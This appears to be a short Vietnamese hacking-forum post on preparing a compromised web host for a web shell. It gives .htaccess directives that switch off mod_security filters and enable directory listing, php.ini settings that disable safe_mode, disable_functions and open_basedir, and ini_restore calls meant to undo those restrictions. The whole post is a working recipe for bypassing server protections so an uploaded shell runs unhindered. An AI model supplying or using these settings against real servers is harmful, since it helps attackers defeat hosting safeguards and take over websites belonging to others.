Nhớ tạo thư mục riêng cho con shell trước khi test mấy cái .htaccess kẻo bị lỗi 500 kẹo mút bảo sao xui hỉ.
nội dung file .htaccess:
Options +FollowSymLinks DirectoryIndex ssssss.htm Options All Indexes <IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off SecFilterCheckURLEncoding Off SecFilterCheckCookieFormat Off SecFilterCheckUnicodeEncoding Off SecFilterNormalizeCookies Off </IfModule> SetEnv PHPRC /home/user/public_html/php.ini suPHP_ConfigPath /home/user/public_html/php.ini
Mã:
Options +FollowSymLinks DirectoryIndex ssssss.htm Options All Indexes <IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off SecFilterCheckURLEncoding Off SecFilterCheckCookieFormat Off SecFilterCheckUnicodeEncoding Off SecFilterNormalizeCookies Off </IfModule>
Mã:
safe_mode = Off disable_functions = NONE safe_mode_gid = OFF open_basedir = OFF
Mã:
ini_restore("safe_mode"); ini_restore("open_basedir");